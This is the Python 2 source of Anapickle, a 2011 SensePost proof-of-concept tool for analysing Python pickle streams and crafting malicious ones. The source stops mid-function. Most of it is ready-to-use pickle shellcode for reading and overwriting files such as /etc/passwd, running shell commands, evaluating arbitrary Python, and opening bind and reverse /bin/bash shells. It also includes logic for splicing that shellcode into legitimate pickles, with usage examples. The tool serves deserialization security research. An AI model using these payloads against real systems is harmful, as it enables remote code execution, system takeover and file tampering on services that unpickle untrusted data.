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anapickle.py
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anapickle.py
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#
#
# Anapickle - [email protected], (c) SensePost 2011
#
#
# This proof-of-concept tool is used to analyse Python Pickle streams,
# generate Pickle shellcode, and construct malpickles.
#
# If the Python looks bad, that's because it likely is. There are surely
# bugs and vulnerabilities. Stay safe.
#
# This script make use of eval() on command line parameters. Don't embed
# in anything that accepts input from untrusted sources.
import pprint
import re
#import cPickle
import pickle
import pickletools
import imp
import sys
import getopt
import subprocess
import tempfile
import os
import urllib
import base64
from pickletools import *
d_level = 3
# 1 - Error
# 2 - Warning
# 3 - Info
# 4 - Verbose
# 5 - Debug
def debug_print(level, msg):
if level <= d_level:
if level == 5:
print "[d]",msg
elif level == 4:
print "[v]",msg
elif level == 3:
print "[i]",msg
elif level == 2:
print "[w]",msg
elif level == 1:
print "[e]",msg
def dprint(msg):
debug_print(5, msg)
def vprint(msg):
debug_print(4, msg)
def iprint(msg):
debug_print(3, msg)
def wprint(msg):
debug_print(2, msg)
def eprint(msg):
debug_print(1, msg)
def set_d_level(l):
global d_level
d_level = l
class Anapickle:
shellcodes = { \
str : [ \
{ \
"name" : "gen_fingerprint",
"description" : "Returns Python env information",
"parameters" : [ ],
"result" : "returned",
"shellcode" : "c__builtin__\neval\n(S'sys.version'\ntRp100\n0c__builtin__\neval\n(S'sys.exec_prefix'\ntRp101\n0c__builtin__\neval\n(S'sys.path'\ntRp102\n0c__builtin__\neval\n(S'sys.executable'\ntRp103\n0c__builtin__\neval\n(S'sys.modules'\ntRp104\n0c__builtin__\nrepr\n(g104\ntRp105\n0c__builtin__\neval\n(S'sys.argv'\ntRp106\n0c__builtin__\nrepr\n(g106\ntRp107\n0c__builtin__\nstr\n((S'sys.version'\ng100\nS'sys.exec_prefix'\ng101\nS'sys.path'\ng102\nS'sys.executable'\ng103\nS'sys.modules'\ng105\nS'sys.argv'\ng107\nltRp108\n0g108\n"
},\
{ \
"name" : "gen_file_read",
"description" : "Reads a file and returns the contents",
"parameters" : [ { "name" : "FILENAME", "type" : str , "eg" : "\"FILENAME=/etc/passwd\"" },
{ "name" : "LENGTH", "type" : int, "eg" : "LENGTH=1000" } ],
"result" : "returned",
"shellcode" : "c__builtin__\nopen\n(FILENAMEtRp100\n0c__builtin__\ngetattr\n(c__builtin__\nfile\nS'read'\ntRp101\n0c__builtin__\napply\n(g101\n(g100\nLENGTHltRp102\n0c__builtin__\ngetattr\n(c__builtin__\nfile\nS'close'\ntRp103\n0c__builtin__\napply\n(g103\n(g100\nltRp104\n0g102\n"
},\
{ \
"name" : "gen_file_write",
"description" : "Create a new file and write a line into the new file",
"parameters" : [ { "name" : "FILENAME", "type" : str , "eg" : "\"FILENAME=/etc/passwd\"" },
{ "name" : "LINE", "type" : str, "eg" : "\"LINE='line1\\\\nline2\\\\nline3'\"" } ],
"result" : "returned",
"shellcode" : "c__builtin__\nopen\n(FILENAMES'w'\ntRp100\n0c__builtin__\ngetattr\n(c__builtin__\nfile\nS'write'\ntRp101\n0c__builtin__\napply\n(g101\n(g100\nLINEltRp102\n0c__builtin__\nstr\n(S'Finished'\ntRp103\n0g103\n"
},\
{ \
"name" : "gen_file_append",
"description" : "Append a line to an existing file",
"parameters" : [ { "name" : "FILENAME", "type" : str , "eg" : "\"FILENAME=/etc/passwd\"" },
{ "name" : "LINE", "type" : str, "eg" : "\"LINE='line1\\\\nline2\\\\nline3'\"" } ],
"result" : "returned",
"shellcode" : "c__builtin__\nopen\n(FILENAMES'a'\ntRp100\n0c__builtin__\ngetattr\n(c__builtin__\nfile\nS'write'\ntRp101\n0c__builtin__\napply\n(g101\n(g100\nLINEltRp102\n0c__builtin__\nstr\n(S'Finished'\ntRp103\n0g103\n"
},\
{ \
"name" : "gen_exec_subprocess",
"description" : "Command execution with subprocess module, Python 2.7 and upwards",
"parameters" : [ { "name" : "CMD", "type" : str , "eg" : "\"CMD=uname\"" } , { "name" : "ARGS", "type" : list , "eg" : "\"ARGS=['-v','-s']\""} ],
"result" : "returned",
"shellcode" : "csubprocess\ncheck_output\n((CMDARGSltRp100\n0g100\n"
},\
{ \
"name" : "gen_exec_popen",
"description" : "Command execution using os.popen(), returns command output",
"parameters" : [ { "name" : "CMD", "type" : str , "eg" : "\"CMD=uname -a\"" } ],
"result" : "returned",
"shellcode" : "cos\npopen\n(CMDtRp100\n0c__builtin__\ngetattr\n(c__builtin__\nfile\nS'read'\ntRp101\n0c__builtin__\napply\n(g101\n(g100\nI1000\nltRp102\n0c__builtin__\ngetattr\n(c__builtin__\nfile\nS'close'\ntRp103\n0c__builtin__\napply\n(g103\n(g100\nltRp104\n0g102\n"
},\
{ \
"name" : "gen_eval",
"description" : "Python evaluation. Your Python must set 'picklesmashed', which contains the snippet's output.",
"parameters" : [ { "name" : "PYEXPR", "type" : str , "eg" : "\"PYEXPR='import subprocess;picklesmashed=subprocess.check_output(\\\"ls\\\")'\"" } ],
"result" : "returned",
"shellcode" : "c__builtin__\nglobals\n(tRp100\n0c__builtin__\ncompile\n(PYEXPRS\'\'\nS\'exec\'\ntRp101\n0c__builtin__\neval\n(g101\ng100\ntRp102\n0c__builtin__\ngetattr\n(c__builtin__\ndict\nS\'get\'\ntRp103\n0c__builtin__\napply\n(g103\n(g100\nS\'picklesmashed\'\nltRp104\n0g104\n"
},\
{ \
"name" : "appengine_fetch",
"description" : "Appengine call to fetch a URL",
"parameters" : [ { "name" : "URL", "type" : str , "eg" : "\"URL='http://www.sensepost.com'\"" } ],
"result" : "returned",
"shellcode" : "cgoogle.appengine.api.urlfetch\nfetch\n(URLtR"
},\
{ \
"name" : "appengine_userid",
"description" : "Appengine call to fetch the current userid",
"parameters" : [ ],
"result" : "returned",
"shellcode" : "cgoogle.appengine.api.users\nget_current_user\n(tRp100\n0c__builtin__\ngetattr\n(cgoogle.appengine.api.users\nUser\nS'user_id'\ntRp101\n0c__builtin__\napply\n(g101\n(g100\nltRp102\n0g102"
},\
{ \
"name" : "appengine_appid",
"description" : "Appengine call to fetch the appid",
"parameters" : [ ],
"result" : "returned",
"shellcode" : "cgoogle.appengine.api.app_identity\nget_application_id\n(tRp100\n0g100\n"
},\
{ \
"name" : "gen_bindshell_tcp",
"description" : "Launches a bindshell on the host",
"parameters" : [ {"name" : "PORT", "type" : int, "eg" : "\"PORT=12345\"" } ],
"result" : "hidden",
"shellcode" :"csocket\n__dict__\np101\n0c__builtin__\ngetattr\n(g101\nS'__getitem__'\ntRp102\n0g102\n(S'AF_INET'\ntRp100\n0csocket\n__dict__\np104\n0c__builtin__\ngetattr\n(g104\nS'__getitem__'\ntRp105\n0g105\n(S'SOCK_STREAM'\ntRp103\n0csocket\n__dict__\np107\n0c__builtin__\ngetattr\n(g107\nS'__getitem__'\ntRp108\n0g108\n(S'IPPROTO_TCP'\ntRp106\n0csocket\n__dict__\np110\n0c__builtin__\ngetattr\n(g110\nS'__getitem__'\ntRp111\n0g111\n(S'SOL_SOCKET'\ntRp109\n0csocket\n__dict__\np113\n0c__builtin__\ngetattr\n(g113\nS'__getitem__'\ntRp114\n0g114\n(S'SO_REUSEADDR'\ntRp112\n0csocket\nsocket\n(g100\ng103\ng106\ntRp115\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'setsockopt'\ntRp116\n0c__builtin__\napply\n(g116\n(g115\ng109\ng112\nI1\nltRp117\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'bind'\ntRp118\n0c__builtin__\napply\n(g118\n(g115\n(S''\nPORTtltRp119\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'listen'\ntRp120\n0c__builtin__\napply\n(g120\n(g115\nI1\nltRp121\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'accept'\ntRp122\n0c__builtin__\napply\n(g122\n(g115\nltRp123\n0c__builtin__\ngetattr\n(c__builtin__\ntuple\nS'__getitem__'\ntRp124\n0c__builtin__\napply\n(g124\n(g123\nI0\nltRp125\n0c__builtin__\ngetattr\n(csocket\n_socketobject\nS'fileno'\ntRp126\n0c__builtin__\napply\n(g126\n(g125\nltRp127\n0c__builtin__\nint\n(g127\ntRp128\n0csubprocess\nPopen\n((S'/bin/bash'\ntI0\nS'/bin/bash'\ng128\ng128\ng128\ntRp129\n0S'finished'\n"
},\
{ \
"name" : "gen_reverseshell_tcp",
"description" : "Launches a reverse shell from the host",
"parameters" : [ { "name" : "HOST", "type" : str, "eg" : "\"HOST\"='localhost'"} ,{"name" : "PORT", "type" : int, "eg" : "\"PORT=12345\"" } ],
"result" : "hidden",
"shellcode" : "csocket\n__dict__\np101\n0c__builtin__\ngetattr\n(g101\nS'__getitem__'\ntRp102\n0g102\n(S'AF_INET'\ntRp100\n0csocket\n__dict__\np104\n0c__builtin__\ngetattr\n(g104\nS'__getitem__'\ntRp105\n0g105\n(S'SOCK_STREAM'\ntRp103\n0csocket\n__dict__\np107\n0c__builtin__\ngetattr\n(g107\nS'__getitem__'\ntRp108\n0g108\n(S'IPPROTO_TCP'\ntRp106\n0csocket\nsocket\n(g100\ng103\ng106\ntRp109\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'connect'\ntRp110\n0c__builtin__\napply\n(g110\n(g109\n(HOSTPORTtltRp111\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'fileno'\ntRp112\n0c__builtin__\napply\n(g112\n(g109\nltRp113\n0csubprocess\nPopen\n((S'/bin/bash'\ntI0\nS'/bin/bash'\ng113\ng113\ng113\ntRp114\n0S'finished'\n"
},\
], \
unicode : [ \
],
int : [ \
{ \
"name" : "gen_exec_system",
"description" : "Command executiong via os.system(), returns command return code",
"parameters" : [ { "name" : "CMD", "type" : str , "eg" : "\"CMD=uname -a\"" } ],
"result" : "hidden",
"shellcode" : "cos\nsystem\n(CMDtRp100\n0g100\n"
}\
]
}
wrappers = { \
int : [ \
{ \
"name" : "str_to_int", \
"description" : "convert a string to an integer", \
"input" : str, \
"func" : "c__builtin__\nint\n(ARGStR" \
}
], \
str : [ \
{ \
"name" : "uni_to_str", \
"description" : "convert a unicode string into a string", \
"input" : unicode, \
"func" : "c__builtin__\nstr\n(ARGStR" \
}, \
{ \
"name" : "strip", \
"description" : "strip '\\n' from a string", \
"input" : str, \
"func" : "cstring\nstrip\n(ARGStR" \
}, \
{ \
"name" : "int_to_str", \
"description" : "converts ints to strings", \
"input" : int, \
"func" : "c__builtin__\nstr\n(ARGStR" \
}, \
{ \
"name" : "html_html", \
"description" : "wraps a str in <html></html> tags", \
"input" : str, \
"func" : "c__builtin__\nstr\n(S''\ntRp100\n0c__builtin__\ngetattr\n(c__builtin__\nstr\nS'format'\ntRp101\n0c__builtin__\napply\n(g101\n(S'{0}{1}{2}'\nS'<html>'\nARGSS'</html>'\nltRp102\n0g102\n" \
}, \
{ \
"name" : "html_pre", \
"description" : "wraps a str in <pre></pre> tags", \
"input" : str, \
"func" : "c__builtin__\nstr\n(S''\ntRp100\n0c__builtin__\ngetattr\n(c__builtin__\nstr\nS'format'\ntRp101\n0c__builtin__\napply\n(g101\n(S'{0}{1}{2}'\nS'<pre>'\nARGSS'</pre>'\nltRp102\n0g102\n" \
}, \
{ \
"name" : "get_attr", \
"description" : "returns a string attribute e.g. get_attr('url')", \
"parameters" : 1,
"input" : str, \
"func" : "c__builtin__\ngetattr\n(ARGSS'ARG0'\ntR" \
}, \
#TODO: call_method shellcode should take the name of a method and apply it to the chosen shellcode
#e.g -w call_method(user_id) -g appengine_userid
{ \
"name" : "call_method", \
"description" : "returns a string attribute e.g. get_attr('url')", \
"parameters" : 1,
"input" : str, \
"func" : "c__builtin__\ngetattr\n(ARGSS'ARG0'\ntR" \
} \
], \
unicode : [ \
{ \
"name" : "str_to_uni", \
"description" : "convert a string to a unicode string", \
"input" : str, \
"func" : "c__builtin__\nunicode\n(ARGStR" \
} \
] \
}
#this will not simulate all pickles, as full intruction support hasn't been attempted
def sim_pickle(self):
dprint("Starting sim_pickle()")
simstack = []
simmemo = {}
reduce_counter = 0
#simulate stack MARK with some random string
MARK = "ff89fe5bfb1383970cdc5218dafd0d9fb7b5f2d0"
try:
for opcode, arg, pos in genops(self.picklestream):
# pprint.pprint(simstack)
# pprint.pprint(simmemo)
# print opcode.name
if opcode.name == "GLOBAL" or opcode.name == "INST":
try:
mod = arg.split(" ")[0]
callable = arg.split(" ")[1]
exec("from "+mod+" import "+callable)
if [mod, callable] not in self.callables:
self.callables.append([mod, callable])
except ImportError, SyntaxError:
self.error_callables.append([mod, callable])
simstack.append(arg.replace(" ","."))
reduce_counter += 1
elif opcode.name == "REDUCE":
#Reduce takes one TUPLE
margs = simstack.pop()
m = simstack.pop()
if type(margs) == tuple:
#print "\t",m,"(",pprint.pformat(a),")"
simstack.append("<"*reduce_counter+m+""+pprint.pformat(margs)+">"*reduce_counter)
reduce_counter -= 1
else:
eprint("Error at "+str(pos)+": Argument to REDUCE isn't a tuple, it's a "+str(type(margs)))
#pprint.pprint(margs)
elif opcode.name == "BUILD":
argument = simstack.pop()
callable = simstack.pop()
simstack.append("#!##"+callable+""+pprint.pformat(argument)+"##!#")
elif opcode.name == "EMPTY_DICT":
simstack.append({})
elif opcode.name == "DICT":
(k,v)='',''
item=simstack.pop()
d = {}
while item != MARK:
v = item
k = simstack.pop()
if k != MARK:
d[k] = v
item = simstack.pop()
simstack.append(d)
elif opcode.name == "EMPTY_TUPLE":
simstack.append(tuple())
elif opcode.name == "TUPLE":
callable_arg = ""
t=[]
item=simstack.pop()
while item!=MARK:
t.append(item)
item=simstack.pop()
t.reverse()
simstack.append(tuple(t))
elif opcode.name == "EMPTY_LIST":
simstack.append([])
elif opcode.name == "LIST":
#pprint.pprint(simstack)
#pprint.pprint(simmemo)
#print opcode.name
item=simstack.pop()
t=[]
while item!=MARK:
t.append(item)
item=simstack.pop()
t.reverse()
simstack.append(t)
elif opcode.name == "STRING":
simstack.append(arg)
self.entities[str].append({"position" : pos, "value" : arg})
self.good_candidate = True
elif opcode.name == "UNICODE":
simstack.append(unicode(arg))
self.entities[unicode].append({"position" : pos, "value" : unicode(arg)})
self.good_candidate = True
elif opcode.name == "INT":
self.entities[int].append({"position" : pos, "value" : int(arg)})
simstack.append(int(arg))
elif opcode.name == "MARK":
simstack.append(MARK)
elif opcode.name == "PUT":
simmemo[arg] = simstack[-1]
if arg > self.highest_slot_seen :
self.highest_slot_seen = arg
elif opcode.name == "GET":
simstack.append(simmemo[arg])
elif opcode.name == "NONE":
simstack.append(None)
elif opcode.name == "APPEND":
v = simstack.pop()
l = simstack.pop()
if type(l) == list:
simstack.append(l+[v])
else:
eprint("Error: Expecting a list but found a "+str(type(l)))
elif opcode.name == "SETITEM":
v = simstack.pop()
k = simstack.pop()
d = simstack.pop()
if type(d) == dict:
d[k] = v
simstack.append(d)
else:
eprint("Error: Expecting a dict but found a "+str(type(d)))
elif opcode.name == "SETITEMS":
d={}
while simstack[-1] != MARK:
v = simstack.pop()
k = simstack.pop()
d[k] = v
simstack.pop()#consume the MARK
old_d = simstack.pop()
if type(old_d) == dict:
for key in d:
old_d[key] = d[key]
simstack.append(old_d)
else:
eprint("Error: Expecting a dict but found a "+str(type(d)))
elif opcode.name == "POP":
simstack.pop()
elif opcode.name == "POP_MARK":
while simstack[-1] != MARK:
simstack.pop()
simstack.pop()
elif opcode.name == "DUP":
simstack.append(simstack[-1])
elif opcode.name == "STOP":
self.final_str = str(simstack.pop())
else:
eprint("Unknown opcode: "+opcode.name)
except IndexError, e:
self.simulator_failed = True
eprint("Simulator error at picklestream byte "+str(pos)+". Error was \""+Ex.geterr(e)+"\"")
return False
return True
def format_pickle_summary(self):
out = "\nPickle summary\n==================\n\nGood candidate for exploitation : "+str(self.good_candidate)+"\n\nPickle length : "+str(len(self.picklestream))+"\n\n"
#out += "Pickle length: "+len(self.picklestream)
if self.pickle_loaded or self.load_failed: #Only print these out if we've tried to load a pickle by calling load_pickle()
out += "Pickle loaded : "+str(self.pickle_loaded)+"\n\n"
out += "Load failed : "+str(self.load_failed)+"\n\n"
if len(self.callables) > 0:
out += "Callables used : "
for callable in self.callables:
out += callable[0]+"."+callable[1]+", "
out=out[:-2]+"\n\n"
if len(self.error_callables) > 0:
out += "Unavailable callables according to simulator: "
for callable in self.error_callables:
out += callable[0]+"."+callable[1]+", "
out=out[:-2]+"\n\n"
if len(self.entities) > 0:
out += "Entities : "+pprint.pformat(self.entities, 1, 80)+"\n"
if self.highest_slot_seen > 100:
out += "\nWARNING : This pickle uses more than a 100 slots. You'll have to fixup the shellcode manually!\n\n"
if self.pickle_loaded:
out += "Final type : "+str(type(self.lpickle))+"\n\n"
return out
def format_pickle(self, style = "Basic", make_output_exec = True):
if style == "Basic":
for opcode, arg, pos in genops(self.picklestream):
out = str(pos) + "\t" + opcode.name
if arg is not None:
out += " " + repr(arg)
return out
elif style == "SlightlyBetter":
if make_output_exec:
#try to make the output valid python, though it will fail if callables are placed on the stack and not REDUCEd
l = 0
while self.final_str.find("<"*l) > -1:
l += 1
l -= 1
while l > 0:
self.final_str = self.final_str.replace("\""+"<"*l,"")
self.final_str = self.final_str.replace(">"*l+"\"","")
self.final_str = self.final_str.replace("<"*l,"")
self.final_str = self.final_str.replace(">"*l,"")
l -= 1
self.final_str = self.final_str.replace("#!##","")
self.final_str = self.final_str.replace("##!#","")
return self.final_str
else:
raise Exception("Unknown printing style: "+style)
def load_pickle(self):
try:
self.error_callables = []
self.lpickle = pickle.loads(self.picklestream)
self.pickle_loaded = True
return True
except IndexError, e:
self.load_failed = True
eprint("Error in PVM: "+Ex.geterr(e))
except ImportError, e:
self.load_failed = True
eprint("Error in loads(): "+Ex.geterr(e))
r = re.match("No module named (.*)",Ex.geterr(e))
if r != None:
self.error_callables += [r.group(1)]
return self.error_callables
except AttributeError, e:
self.load_failed = True
eprint("Error in loads(): "+Ex.geterr(e))
r = re.match("'(.*)' object has no attribute '(.*)'",Ex.geterr(e))
if r != None:
#this exception doesn't reveal the full module and callable that couldn't be imported
#instead, we try to fixup the lack of info by searching backwards in the pickle stram
#for the callable. unfortunately, this may not work out in all cases as we can't rewind
#the intruction sequence. instead, pick an anchor ('\n') and search fowards for a 'c' or
#GLOBAL instr. this is likely to not work in all cases.
callable_start = self.picklestream.find("\n"+r.group(2)+"\n")
module_start = self.picklestream.rfind("\n",0,callable_start)+1
#now find the 'c' instruction
module_start = self.picklestream.find("c",module_start,callable_start)+1
self.error_attribute_names += [self.picklestream[module_start:callable_start]+"."+r.group(2)]
return self.error_attribute_names
def verify_stream(self):
return self.sim_pickle()
#self.print_pickle()
def get_string_positions():
return []
def set_stream(self, picklestream):
self.picklestream = picklestream
def format_entities(self):
out = "Entities\n"
i = 0
type = ""
for t in self.get_entities():
if type != str(t["type"]):
type = str(t["type"])
out += "\t"+type+"\n"
out += "\t\t["+str(i)+"] "+str(t["value"])+" ("+str(t["position"])+")\n"
i+=1
return out
def get_entities(self):
self.entities_list=[]
for t in self.entities:
# if t == str:
for entry in self.entities[t]:
self.entities_list.append({"type" : t, "value" : entry["value"], "position" : entry["position"]})
# elif t == unicode:
# for entry in self.entities[t]:
# self.entities_list.append({"type" : "unicode", "value" : entry["value"], "position" :entry["position"]})
return self.entities_list
#save_wrapper is called once for each f in f_1(f_2(f_3()))
def save_wrapper(self, wrapper_func):
dprint("Entered save_wrapper")
func = None
arguments = []
if wrapper_func.find('(') > -1:
if wrapper_func.find(')') == -1:
raise Exception("Wrapper "+wrapper_func+" missing )")
arguments = wrapper_func[wrapper_func.find('(')+1:wrapper_func.find(')')].split(';')
wrapper_func = wrapper_func[:wrapper_func.find('(')]
for t in self.wrappers:
for e in self.wrappers[t]:
if e["name"] == wrapper_func:
dprint("Found wrapper function %s" % wrapper_func)
e["type"] = t
func = e
if func.has_key("parameters"):
if func["parameters"] != len(arguments):
raise Exception("Wrapper "+wrapper_func+" requires %d parameters, you supplied %d." % (func["parameters"],len(arguments)))
func["parameters"] = arguments
if func == None:
raise Exception("Wrapper "+wrapper_func+" not found")
#check for type mismatches in the function chains
#if no errors, then insert the func
if len(self.wrappers_list["funcs"]) > 0:
if self.wrappers_list["funcs"][0]["input"] != func["type"]:
dprint("Type error in wrapper functions")
raise Exception("Type mismatch between %s and %s, expecting %s but got %s" % (self.wrappers_list["funcs"][0]["name"],func["name"],str(self.wrappers_list["funcs"][0]["input"]),str(func["type"])))
self.wrappers_list["input"] = func["input"]
dprint("Wrapper chain takes input type %s" % str(func["input"]))
else:
self.wrappers_list["output"] = func["type"]
self.wrappers_list["input"] = func["input"]
dprint("Wrapper chain takes input type %s" % str(func["type"]))
dprint("Wrapper chain produces output type %s" % str(func["type"]))
self.wrappers_list["funcs"] = [func] + self.wrappers_list["funcs"]
dprint("Wrapper chain is :\n%s" % repr(self.wrappers_list["funcs"]))
#creates the shellcode for the wrapper functions
#insert SC_PLACE at the point where the malicious shellcode is inserted later on
def build_func_call_chain(self):
if len(self.wrappers_list["funcs"]) < 1:
raise Exception("No wrapper functions saved")
call_chain_code = self.wrappers_list["funcs"][0]["func"].replace("ARGS","SC_PLACE")
if self.wrappers_list["funcs"][0].has_key("parameters"):
i=0
for p in self.wrappers_list["funcs"][0]["parameters"]:
dprint("replaced param %d with %s" % (i, p))
call_chain_code = call_chain_code.replace("ARG%d"%i,p)
i+=1
dprint("Call chain code after param substitution is:\n %s"%call_chain_code)
dprint("Call chain code after func addition is:\n %s"%call_chain_code)
#dprint("Call chain code:\n %s"%call_chain_code)
for f in self.wrappers_list["funcs"][1:]:
call_chain_code = f["func"].replace("ARGS", call_chain_code)
if f.has_key("parameters"):
i=0
for p in f["parameters"]:
dprint("replaced param %d with %s" % (i, p))
call_chain_code = call_chain_code.replace("ARG%d"%i,p)
i+=1
dprint("Call chain code after param substitution is:\n %s"%call_chain_code)
dprint("Call chain code after func addition is:\n %s"%call_chain_code)
dprint("Final call chain code is:\n %s"%call_chain_code)
return { "input": self.wrappers_list["input"], "output" : self.wrappers_list["output"], "chain" : call_chain_code }
@staticmethod
def find_shellcode_by_name(name):
for t in Anapickle.shellcodes:
for e in Anapickle.shellcodes[t]:
if e["name"] == name:
dprint("Found requested shellcode")
e["type"] = t
return e
raise Exception('Shellcode not found. Run anapickle.py -p for a list of available shellcodes')
@staticmethod
def convert_python_vals_into_pickle(py_vals):
if type(py_vals) == str:
return "S'"+py_vals+"'\n"
elif type(py_vals) == unicode:
return "V'"+py_vals+"'\n"
elif type(py_vals) == list:
out = ""
for i in py_vals:
out += Anapickle.convert_python_vals_into_pickle(i)
return out
elif type(py_vals) == int:
return "I"+str(py_vals)+"\n"
else:
raise Exception("Can't handle parameter type: "+str(type(py_vals)))
@staticmethod
def gen_shellcode(shellcode_name, shellcode_arguments):
sc = Anapickle.find_shellcode_by_name(shellcode_name)
cont = True
#verify arguments
for param in sc["parameters"]:
if not shellcode_arguments.has_key(param["name"]):
eprint("Shellcode requires parameter "+param["name"])
cont = False
else:
dprint("Found "+param["name"])
if type(shellcode_arguments[param["name"]]) != param["type"]:
eprint("Parameter "+param["name"] +" should be of type "+str(param["type"])+", instead it's "+str(type(shellcode_arguments[param["name"]])))
cont = False
if not cont:
sys.exit(1)
#now construct the shellcode by performing the substitutions
code = sc["shellcode"]
dprint("Using raw shellcode: "+repr(code))
for param in sc["parameters"]:
code=code.replace(param["name"], Anapickle.convert_python_vals_into_pickle(shellcode_arguments[param["name"]]))
return {"code" : code, "type" : sc["type"] }
#this method takes an entity to be replaced and the shellcode that will replace it
#and figures out whether the types of the shellcode match that of the entity
def replace_and_fixup(self, rep, sc):
if self.entities_list == None:
self.get_entities()
try:
if rep < 0:
raise IndexError
e = self.entities_list[rep]
except IndexError:
eprint("No such entity. You selected "+str(rep)+" while I only know about "+str(len(self.entities_list))+" entities.\n\t(Don't forget, I index from 0)\nEntities I can extract:")
eprint(self.format_entities())
eprint("Bailing out...")
sys.exit(1)
if e["type"] != sc["type"]:
eprint("Type mismatch between entity to be replaced and shellcode return type\n\tEntity: "+str(e["type"])+"\n\tShellcode: "+str(sc["type"])+"\nBailing...")
sys.exit(1)
dprint("Replacing "+e["value"])
del_len = len(self.picklestream[int(e["position"]):self.picklestream.find("\n",int(e["position"]))])+1
dprint("Replacing "+str(del_len)+" bytes at position "+str(e["position"]))
self.picklestream = self.picklestream[0:e["position"]]+sc["code"]+self.picklestream[(e["position"]+del_len):]
#now fixup the positions of the remaining entities
diff_len = len(sc) - del_len
dprint("Original pickle "+str(len(self.picklestream))+"b, string to be replaced "+str(del_len)+"b, shellcode "+str(len(sc))+"b, diff "+str(diff_len)+"b")
i = 0
while i < len(self.entities_list):
if self.entities_list[i]["position"] >= e["position"]:
dprint("Fixing position for "+str(self.entities_list[i]["value"])+", shifting position from "+str(self.entities_list[i]["position"])+" to "+str(int(self.entities_list[i]["position"])+diff_len))
#entity occurs after the insert, fix its position
self.entities_list[i]["position"] += diff_len
i+=1
#fixup slot GETs and PUTs, to ensure no overlap between present calls and the shellcode
i = self.picklestream.find('_GPS_')
while i > -1:
self.highest_slot_seen += 1
self.picklestream = self.picklestream[:i] + str(self.highest_slot_seen) + self.picklestream[i+1:]
i = self.picklestream.find('_GPS_')
#fixup done
dprint(self.picklestream)
#this method takes an index into the picklestream and shellcode, and returns the pickle stream
#with the shellcode inserted at that position
def insert_at_byte_position(self, index, sc):
if index < 0 or index > len(self.picklestream):
if index < 0:
eprint("Refusing to write to negative positions")
if index > len(self.picklestream):
eprint("Refusing to write past the end of the shellcode")
eprint("Bailing out...")
sys.exit(1)
self.picklestream = self.picklestream[:index] + sc + self.picklestream[index:]
#insert done
dprint(self.picklestream)
def __init__(self, picklestream = None):
self.set_stream(picklestream)
self.callables = [] #List of callables used by the pickle
self.entities = {str : [], unicode : [], int : []} #List of all entities for which we can replace shellcode
self.error_callables = [] #List of modules that failed to load in loads()
self.error_attribute_names = [] #List of attributes that weren't present in loaded modules
self.pickle_loaded = False
self.simulator_failed = False
self.load_failed = False
self.good_candidate = False #If the picklestream has attributes easily replaced, set this flag
self.summary = False #print out the summary
self.entities_list = None
self.wrappers_list = {"input" : "", "output" : "", "code" : "", "funcs" : []}
self.highest_slot_seen = 0
if picklestream != None:
self.picklestream = picklestream
#if verifystream:
# self.verify_stream()
#if not self.simulator_failed:
# self.test(loadpickle)
def test(self, loadpickle):
print(self.format_pickle_summary())
print("Reconstructed pickle: "+self.format_pickle("SlightlyBetter")+"\n")
if loadpickle:
print("Pickle loading:\n\n")
r = self.load_pickle()
if r == True:
print("Pickle loaded.\n")
else:
print("Pickle could not be loaded!!!\n\n")
if len(self.error_attribute_names) > 0:
print("Attributes not present : ")
print(", ".join(self.error_attribute_names)+"\n\n")
if len(self.error_callables) > 0:
print("Callables not present : ")
print(", ".join(self.error_callables)+"\n\n")
class Ex:
@staticmethod
def geterr(ex):
# ver = float(sys.version[0:3])
# if ver < 2.6:
# return ex.message
# elif ver == 2.6:
# return ex.__str__()
# elif ver >= 2.6:
# return ex.strerror
if hasattr(ex,"strerror"):
return ex.strerror
elif hasattr(ex,"__str__"):
return ex.__str__()
elif hasattr(ex,"message"):
return ex.message
else:
print("Can't handle this exception, dumping it: "+repr(e))
return ""
class AnapickleManager:
def print_usage(self):
print("""
\t-h
\t\tPrint help
\t-p
\t\tList available shellcodes and wrappers, and exit
\t-f <file>
\t\tRead picklestream from <file>. For stdin, use '-' or leave -f out
\t-o <file>
\t\tWrite shellcode or malpickle into <file> instead of to stdout
\t-s
\t\tRun the simulator on the picklestream
\t-m
\t\tPrint out a summary
\t-a
\t\tApply -s -m -l -e
\t-i
\t\tUse interactive mode
\t-l
\t\tCall loads() on the picklestream. Don't do this on unknown streams.
\t-c
\t\tSimulate and print out callables only
\t-e
\t\tGet entities suitable for shellcode substitution
\t-u
\t\tRun pickletools.dis() on the picklestream
\t-v
\t\tVerify generated picklestream. Also potentially dangerous on
\t\tunknown streams or if the shellcode causes damage.
\t-g <shellcode> [ <arg>=<val, ... ]
\t\tGenerate <shellcode> only and exit
\t-b
\t\tURL-encode generated shellcode (only works with -g)
\t-k
\t\tPython-encode generated shellcode (only works with -g)
\t-n
\t\tPass the pickle through Base64 for decoding and encoding
\t-r <byte_index> <shellcode> [ <arg>=<val>, ... ]
\t\tInsert named <shellcode> at <byte_index> in the stream
\t-x <entitiy_num> <shellcode> [ <arg>=<val>, ... ]
\t\tInsert named <shellcode> in place of entity <entity_num>
\t-w <wrapper_func_1>,<wrapper_func_2>,...
\t\tApply shellcode = wrapper_func_1(wrapper_func_2(shellcode))
\t-y
\t\tDon't bug me, just load the damn pickle
\t-z
\t\tMake generated shellcode standalone (adds STOP instruction only).
\t\tOutput suitable for pickle.load()
Examples:
\tProcess a pickle, extract all entities
\t\tanapicklye.py -f pickle.txt -e
\tProcess a pickle, extract all callables
\t\tanapicklye.py -f pickle.txt -c
\tGenerate shellcode and verify it
\t\tanapickle.py -v -g gen_exec_subprocess "CMD='uname'" "ARGS=['-a']"
\tGenerate shellcode, apply two wrapper functions, make output standalone and write to file:
\t\tanapickle.py -w strip,int_to_str -o pickle-out2.txt -z -g gen_exec_system "CMD='uname -a'"
\tCreate a malpickle by replacing entity 3 with shellcode
\t\tanapickle.py -f pickle.txt -x 2 gen_exec_subprocess "CMD='uname'" "ARGS=['-a']"
WARNING: this script uses eval() on command line arguments. Resist all
temptation to run it with untrusted parameters or pickles.
""")
def print_usage_and_exit(self):
self.print_usage()
exit(1)
def format_wrappers(self):
out = "Wrappers:\n"
for ret_type in Anapickle.wrappers:
for entry in Anapickle.wrappers[ret_type]:
out += "\t"+entry["name"]+" -- "+entry["description"]+"\n\n"
return out
def format_shellcodes(self):
out = "Shellcode:\n"
for ret_type in Anapickle.shellcodes:
for entry in Anapickle.shellcodes[ret_type]:
